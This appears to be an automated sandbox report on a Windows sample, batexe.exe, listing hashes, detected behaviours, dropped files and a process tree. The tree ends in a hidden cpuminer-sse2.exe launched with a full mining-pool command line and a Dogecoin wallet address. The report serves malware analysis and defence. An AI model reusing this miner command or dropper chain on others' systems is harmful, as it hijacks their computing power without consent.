73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
290s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 08:53

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
464	b2e.exe
2476	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2476	cpuminer-sse2.exe
2476	cpuminer-sse2.exe
2476	cpuminer-sse2.exe
2476	cpuminer-sse2.exe
2476	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4624-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 464	4624	batexe.exe	85
PID 4624 wrote to memory of 464	4624	batexe.exe	85
PID 4624 wrote to memory of 464	4624	batexe.exe	85
PID 464 wrote to memory of 4180	464	b2e.exe	86
PID 464 wrote to memory of 4180	464	b2e.exe	86
PID 464 wrote to memory of 4180	464	b2e.exe	86
PID 4180 wrote to memory of 2476	4180	cmd.exe	89
PID 4180 wrote to memory of 2476	4180	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Users\Admin\AppData\Local\Temp\55F0.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\55F0.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\55F0.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5999.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4180
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\55F0.tmp\b2e.exe

Filesize
25.1MB

MD5
48900926a7b48c0664255bb0053301a7

SHA1
e185c5109b54cf1dbef66b580af70d5f94b7a57d

SHA256
9525d231b70699d72914f7fb586cf74787e4d925db221e6bcff076d09654a2e3

SHA512
4d415a449e9d729fd5e266f5ec8d205b0688326f3640fe121160f022f83c664bca8ee6ae3dc3a3ab73c5905139610fc9b187393a214e191795fecff593c3b809

Download Submit
C:\Users\Admin\AppData\Local\Temp\55F0.tmp\b2e.exe

Filesize
13.4MB

MD5
7499a32900b317c2eaaed7121ab7aa1c

SHA1
42fa5bb4900b7669372aba9577f59dd80b8a0b22

SHA256
5a2f4eb151b0efaae48c5b57696b12803b86469215a80883ed6554be5ee1a7b2

SHA512
b2a2b7ccdb8b817e576cc005a187b3958c8cb445587700fad49301f92113097f76944b913344572f754af687168a62dd6fc1296122547378665b4bb10d0d4f9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\55F0.tmp\b2e.exe

Filesize
9.8MB

MD5
7d9aa6fd2b339fee5a698aa87e1f8079

SHA1
fc2a85ac4d2fb171f1b191fd7d1f2fa06a2553a4

SHA256
b32e97ecbad3bb35dfaa8ebddc9091da84ff22cf00eb95b0bc948673c1d5c093

SHA512
5f876acb42a4d730f43cd873cd7fdbb2f9432c5a1dbb8ddcdd929bfc107746705e9b3f0bd6d40d9c67b3999054dad891bd61008c9bbf78ff1a226e9d10ff7336

Download Submit
C:\Users\Admin\AppData\Local\Temp\5999.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
7dae0f7afbf3216d274b40333b1cf535

SHA1
756db615d68970b51b2bcc387244cd8f2e5d7b24

SHA256
c17b227599284b4d46f0c3a13c4e2f77d7ccb3465cc2f48ce4fbf272662b1adc

SHA512
274c20fbf8b49ccb22e105f2f8f44df8406b5feb6db4f296b64ef3e5dda9001511a9eaffa6461fe2d6e5e7320ae8a5a7ee314ff2b574d0b79abaad5e7a827eab

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
e996171118851ae5747b946f8eecd2b0

SHA1
2ca1dc32df7a1262b535137ad236f120c74ec54e

SHA256
ba435bc42e48b6b6c81d13a3fdaa8fbeac07cfe402ce328698ff07ec847e156e

SHA512
15d5f5fe70d349d14c81b1f618b8b7672b53c377a0af90e6221aab6fa5f7badd0ef0709400050e65c7ae0ddaf90bad06f22ffdd3f10815bf60290f2d6983eb64

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
9d2c82156cb4b4f62f21b91c94ef0aeb

SHA1
636efe3140ac08453da6a2b76f86b68632018294

SHA256
3506c37d954865abf3bf26dd78ba6088d673005b38787890e6e86fe1c5731aee

SHA512
4cda531086737a242db38b5d651b7ed3d80fb2d9ae56ad6c1adb5a3feb2f5d9002866c3f2167ea3325008ac44dc424d2a737e02504ec1a594fc756b3306971a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.3MB

MD5
8830414af9cc233928fe35be71008259

SHA1
3473fb88059785738ec6411971219cce5d1f7397

SHA256
ecd46c904ca5f6e5f88fbab77eca6e0912f5a8ed701d60c056233db3ce8f385b

SHA512
618de2b852ff4861d894460ffcbb3299417c430143b0ff3979845d5c6ad4f0873ff5ccb6f19137ae147231999c569f56af73799ba5f4b974830ccb5197fd1d5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/464-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/464-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2476-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2476-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2476-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2476-46-0x0000000072210000-0x00000000722A8000-memory.dmp

Filesize
608KB

Download
memory/2476-47-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/2476-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2476-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2476-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2476-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2476-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2476-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2476-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2476-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2476-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2476-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4624-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download